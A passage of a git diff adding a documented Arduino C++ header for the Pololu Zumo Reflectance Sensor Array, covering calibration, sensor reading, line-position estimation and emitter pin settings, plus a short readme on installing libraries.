array + * + * The ZumoReflectanceSensorArray library provides an interface for using a + * [Zumo Reflectance Sensor Array](http://www.pololu.com/product/1419) connected + * to a Zumo robot. The library provides access to the raw sensor values as well + * as to high level functions including calibration and line-tracking. + * + * For calibration, memory is allocated using the `malloc()` function. This + * conserves RAM: if all six sensors are calibrated with the emitters both on + * and off, a total of 48 bytes is dedicated to storing calibration values. + * However, for an application where only two sensors are used, and the + * emitters are always on during reads, only 4 bytes are required. + * + * Internally, this library uses all standard Arduino functions such as + * `micros()` for timing and `digitalRead()` for getting the sensor values, so + * it should work on all Arduinos without conflicting with other libraries. + * + * ### Calibration ### + * + * This library allows you to use the `calibrate()` method to easily calibrate + * your sensors for the particular conditions it will encounter. Calibrating + * your sensors can lead to substantially more reliable sensor readings, which + * in turn can help simplify your code. As such, we recommend you build a + * calibration phase into your Zumo's initialization routine. This can be as + * simple as a fixed duration over which you repeatedly call the `calibrate()` + * method. + * + * During this calibration phase, you will need to expose each of your + * reflectance sensors to the lightest and darkest readings they will encounter. + * For example, if your Zumo is programmed to be a line follower, you will want + * to slide it across the line during the calibration phase so the each sensor + * can get a reading of how dark the line is and how light the ground is (or you + * can program it to automatically turn back and forth to pass all of the + * sensors over the line). The **SensorCalibration** example included with this + * library demonstrates a calibration routine. + * + * ### Reading the sensors + * + * + * This library gives you a number of different ways to read the sensors. + * + * - You can request raw sensor values using the `read()` method. + * + * - You can request calibrated sensor values using the `readCalibrated()` + * method. Calibrated sensor values will always range from 0 to 1000, with the + * extreme values corresponding to the most and least reflective surfaces + * encountered during calibration. + * + * - For line-detection applications, you can request the line location using + * the `readLine()` method. This function provides calibrated values + * for each sensor and returns an integer that tells you where it thinks the + * line is. + * + * ### Class Inheritance ### + * + * The ZumoReflectanceSensorArray class is derived from the QTRSensorsRC class, + * which is in turn derived from the QTRSensors base class. The QTRSensorsRC and + * QTRSensors classes are part of the \ref QTRSensors.h "QTRSensors" library, + * which provides more general functionality for working with reflectance + * sensors and is included in the Zumo Shield libraries as a dependency for this + * library. + * + * We recommend using the ZumoReflectanceSensorArray library instead of + * the \ref QTRSensors.h "QTRSensors" library when programming an Arduino on a + * Zumo. For documentation specific to the %QTRSensors library, please see its + * [user's guide](http://www.pololu.com/docs/0J19) on Pololu's website. + */ + +#ifndef ZumoReflectanceSensorArray_h +#define ZumoReflectanceSensorArray_h + +#include <../QTRSensors/QTRSensors.h> +#include + +#if defined(__AVR_ATmega32U4__) + // Arduino Leonardo + #define ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN A4 +#else + // Arduino UNO and other ATmega328P/168 Arduinos + #define ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN 2 +#endif + +class ZumoReflectanceSensorArray : public QTRSensorsRC +{ + public: + + /*! \brief Minimal constructor. + * + * This version of the constructor performs no initialization. If it is used, + * the user must call init() before using the methods in this class. + */ + ZumoReflectanceSensorArray() {} + + /*! \brief Constructor; initializes with given emitter pin and defaults for + * other settings. + * + * \param emitterPin Pin that turns IR emitters on or off. + * + * This constructor calls `init(unsigned char emitterPin)` with the specified + * emitter pin and default values for other settings. + */ + ZumoReflectanceSensorArray(unsigned char emitterPin) + { + init(emitterPin); + } + + /*! \brief Constructor; initializes with all settings as given. + * + * \param pins Array of pin numbers for sensors. + * \param numSensors Number of sensors. + * \param timeout Maximum duration of reflectance reading in microseconds. + * \param emitterPin Pin that turns IR emitters on or off. + * + * This constructor calls `init(unsigned char * pins, unsigned char + * numSensors, unsigned int timeout, unsigned char emitterPin)` with all + * settings as given. + */ + ZumoReflectanceSensorArray(unsigned char * pins, unsigned char numSensors, unsigned int timeout = 2000, + unsigned char emitterPin = ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN) + { + QTRSensorsRC::init(pins, numSensors, timeout, emitterPin); + } + + /*! \brief Initializes with given emitter pin and and defaults for other + * settings. + * + * \param emitterPin Pin that turns IR emitters on or off. + * + * This function initializes the ZumoReflectanceSensorArray object with the + * specified emitter pin. The other settings are set to default values: all + * six sensors on the array are active, and a timeout of 2000 microseconds is + * used. + * + * \a emitterPin is the Arduino digital pin that controls whether the IR LEDs + * are on or off. This pin is optional; if a valid pin is specified, the + * emitters will only be turned on during a reading. If \a emitterPin is not + * specified, the emitters will be controlled with pin 2 on the Uno (and other + * ATmega328/168 boards) or pin A4 on the Leonardo (and other ATmega32U4 + * boards). (The "LED ON" jumper on the Zumo Reflectance Sensor Array must be + * configured correctly for this to work.) If the value `QTR_NO_EMITTER_PIN` + * (255) is used, you can leave the emitter pin disconnected and the IR + * emitters will always be on. + */ + void init(unsigned char emitterPin = ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN) + { + unsigned char sensorPins[] = { 4, A3, 11, A0, A2, 5 }; + QTRSensorsRC::init(sensorPins, sizeof(sensorPins), 2000, emitterPin); + } + + /*! \brief Initializes with all settings as given. + * + * \param pins Array of pin numbers for sensors. + * \param numSensors Number of sensors. + * \param timeout Maximum duration of reflectance reading in microseconds. + * \param emitterPin Pin that turns IR emitters on or off. + * + * This function initializes the ZumoReflectanceSensorArray object with all + * settings as given. + * + * The array \a pins should contain the Arduino digital pin numbers for each + * sensor. + * + * \a numSensors specifies the length of the \a pins array (the number of + * reflectance sensors you are using). + * + * \a timeout specifies the length of time in microseconds beyond which you + * consider the sensor reading completely black. That is to say, if the pulse + * length for a pin exceeds \a timeout, pulse timing will stop and the reading + * for that pin will be considered full black. It is recommended that you set + * \a timeout to be between 1000 and 3000 us, depending on factors like the + * height of your sensors and ambient lighting. This allows you to shorten the + * duration of a sensor-reading cycle while maintaining useful measurements of + * reflectance. If \a timeout is not specified, it defaults to 2000 us. (See + * the [product page](http://www.pololu.com/product/1419) for the Zumo + * Reflectance Sensor Array on Pololu's website for an overview of the + * sensors' principle of operation.) + * + * \a emitterPin is the Arduino digital pin that controls whether the IR LEDs + * are on or off. This pin is optional; if a valid pin is specified, the + * emitters will only be turned on during a reading. If \a emitterPin is not + * specified, the emitters will be controlled with pin 2 on the Uno (and other + * ATmega328/168 boards) or pin A4 on the Leonardo (and other ATmega32U4 + * boards). (The corresponding connection should be made with the "LED ON" + * jumper on the Zumo Reflectance Sensor Array.) If the value + * `QTR_NO_EMITTER_PIN` (255) is used, you can leave the emitter pin + * disconnected and the IR emitters will always be on. + * + * This version of `%init()` can be useful if you only want to use a subset + * of the six reflectance sensors on the array. For example, using the + * outermost two sensors (on pins 4 and 5 by default) is usually enough for + * detecting the ring border in sumo competitions: + * + * ~~~{.ino} + * ZumoReflectanceSensorArray reflectanceSensors; + * + * ... + * + * reflectanceSensors.init((unsigned char[]) {4, 5}, 2); + * ~~~ + * + * Alternatively, you can use \ref ZumoReflectanceSensorArray(unsigned char * pins, unsigned char numSensors, unsigned int timeout, unsigned char emitterPin) + * "a different constructor" to declare and initialize the object at the same + * time: + * + * ~~~{.ino} + * + * ZumoReflectanceSensorArray reflectanceSensors((unsigned char[]) {4, 5}, 2); + * ~~~ + * + */ + void init(unsigned char * pins, unsigned char numSensors, unsigned int timeout = 2000, + unsigned char emitterPin = ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN) + { + QTRSensorsRC::init(pins, numSensors, timeout, emitterPin); + } +}; + +// documentation for inherited functions + +/*! \fn void QTRSensors::read(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON) +\memberof ZumoReflectanceSensorArray + * \brief Reads the raw sensor values into an array. + * + * \param sensorValues Array to populate with sensor readings. + * \param readMode Read mode (`QTR_EMITTERS_OFF`, `QTR_EMITTERS_ON`, or + * `QTR_EMITTERS_ON_AND_OFF`). + * + * There **must** be space in the \a sensorValues array for as many values as + * there were sensors specified in the constructor. The values returned are + * measures of the reflectance in units of microseconds. They will be raw + * readings between 0 and the \a timeout argument (in units of microseconds) + * provided in the constructor (which defaults to 2000). + * + * The \a readMode argument specifies the kind of read that will be performed. + * Several options are defined: + * + * - `QTR_EMITTERS_OFF` specifies that the reading should be made without + * turning on the infrared (IR) emitters, in which case the reading represents + * ambient light levels near the sensor. + * - `QTR_EMITTERS_ON` specifies that the emitters should be turned on for the + * reading, which results in a measure of reflectance. + * - `QTR_EMITTERS_ON_AND_OFF` specifies that a reading should be made in both + * the on and off states. The values returned when this option is used are + * given by the formula **on + max − off**, where **on** is the reading + * with the emitters on, **off** is the reading with the emitters off, and + * **max** is the maximum sensor reading. This option can reduce the amount of + * interference from uneven ambient lighting. + * + * Note that emitter control will only work if you specify a valid emitter pin + * in the constructor and make the corresponding connection (with the "LED ON" + * jumper or otherwise). + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn void QTRSensors::emittersOff() + * \brief Turns the IR LEDs off. + * + * This is mainly for use by the `read()` method, and calling this function + * before or after reading the sensors will have no effect on the readings, but + * you might wish to use it for testing purposes. This method will only do + * something if the emitter pin specified in the constructor is valid (i.e. not + * `QTR_NO_EMITTER_PIN`) and the corresponding connection is made. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn void QTRSensors::emittersOn() + * \brief Turns the IR LEDs on. + * \copydetails emittersOff + */ + +/*! \fn void QTRSensors::calibrate(unsigned char readMode = QTR_EMITTERS_ON) + * \brief Reads the sensors for calibration. + * + * \param readMode Read mode (`QTR_EMITTERS_OFF`, `QTR_EMITTERS_ON`, or + * `QTR_EMITTERS_ON_AND_OFF`). + * + * The sensor values read by this function are not returned; instead, the + * maximum and minimum values found over time are stored internally and used for + * the `readCalibrated()` method. You can access the calibration (i.e raw max + * and min sensor readings) through the public member pointers + * `calibratedMinimumOn`, `calibratedMaximumOn`, `calibratedMinimumOff`, and + * `calibratedMaximumOff`. Note that these pointers will point to arrays of + * length \a numSensors, as specified in the constructor, and they will only be + * allocated **after** `calibrate()` has been called. If you only calibrate with + * the emitters on, the calibration arrays that hold the off values will not be + * allocated. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn void QTRSensors::resetCalibration() + * \brief Resets all calibration that has been done. + * + * This function discards the calibration values that have been previously + * recorded, resetting the min and max values. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn void QTRSensors::readCalibrated(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON) + * \brief Returns sensor readings normalized to values between 0 and 1000. + * + * \param sensorValues Array to populate with sensor readings. + * \param readMode Read mode (`QTR_EMITTERS_OFF`, `QTR_EMITTERS_ON`, or + * `QTR_EMITTERS_ON_AND_OFF`). + * + * 0 corresponds to a reading that is less than or equal to the minimum value + * read by `calibrate()` and 1000 corresponds to a reading that is greater than + * or equal to the maximum value. Calibration values are stored separately for + * each sensor, so that differences in the sensors are accounted for + * automatically. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn int QTRSensors::readLine(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON, unsigned char whiteLine = 0) + * \brief Returns an estimated position of a line under the sensor array. + * + * \param sensorValues Array to populate with sensor readings. + * \param readMode Read mode (`QTR_EMITTERS_OFF`, `QTR_EMITTERS_ON`, or + * `QTR_EMITTERS_ON_AND_OFF`). + * \param whiteLine 0 to detect a dark line on a light surface; 1 to detect + * a light line on a dark surface. + * \return An estimated line position. + * + * This function operates the same as `readCalibrated()`, but with a feature + * designed for line following: it returns an estimated position of the line. + * The estimate is made using a weighted average of the sensor indices + * multiplied by 1000, so that a return value of 0 indicates that the line is + * directly below sensor 0 (or was last seen by sensor 0 before being lost), a + * return value of 1000 indicates that the line is directly below sensor 1, 2000 + * indicates that it's below sensor 2, etc. Intermediate values indicate that + * the line is between two sensors. The formula is: + * + * \f[ + * \newcommand{sv}[1]{\mathtt{sensorValues[#1]}} + * \text{return value} = + * \frac{(0 \times \sv{0}) + (1000 \times \sv{1}) + (2000 \times \sv{2}) + \ldots} + * {\sv{0} + \sv{1} + \sv{2} + \ldots} + * \f] + * + * As long as your sensors aren't spaced too far apart relative to the line, + * this returned value is designed to be monotonic, which makes it great for use + * in closed-loop PID control. Additionally, this method remembers where it last + * saw the line, so if you ever lose the line to the left or the right, its line + * position will continue to indicate the direction you need to go to reacquire + * the line. For example, if sensor 5 is your rightmost sensor and you end up + * completely off the line to the left, this function will continue to return + * 5000. + * + * By default, this function assumes a dark line (high values) on a light + * background (low values). If your line is light on dark, set the optional + * second argument \a whiteLine to true. In this case, each sensor value will be + * replaced by the maximum possible value minus its actual value before the + * averaging. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + + +// documentation for inherited member variables + +/*! + * \property unsigned int * QTRSensors::calibratedMinimumOn + * \brief The calibrated minimum values measured for each sensor, with emitters + * on. + * + * This pointer is unallocated and set to 0 until `calibrate()` is called, and + * then allocated to exactly the size required. Depending on the \a readMode + * argument to `calibrate()`, only the On or Off values might be allocated, as + * required. This variable is made public so that you can use the calibration + * values for your own calculations and do things like saving them to EEPROM, + * performing sanity checking, etc. + * + * The ZumoReflectanceSensorArray class inherits this variable from the + * QTRSensors class. + * + * \property unsigned int * QTRSensors::calibratedMaximumOn + * \brief The calibrated maximum values measured for each sensor, with emitters + * on. + * \copydetails QTRSensors::calibratedMinimumOn + * + * \property unsigned int * QTRSensors::calibratedMinimumOff + * \brief The calibrated minimum values measured for each sensor, with emitters + * off. + * \copydetails QTRSensors::calibratedMinimumOn + * + * \property unsigned int * QTRSensors::calibratedMaximumOff + * \brief The calibrated maximum values measured for each sensor, with emitters + * off. + * \copydetails QTRSensors::calibratedMinimumOn + */ + +#endif \ No newline at end of file diff --git a/libraries/readme.txt b/libraries/readme.txt new file mode 100644 index 0000000..a8f1390 --- /dev/null +++ b/libraries/readme.txt @@ -0,0 +1 @@ +For information on installing libraries, see: http://arduino.cc/en/Guide/Libraries

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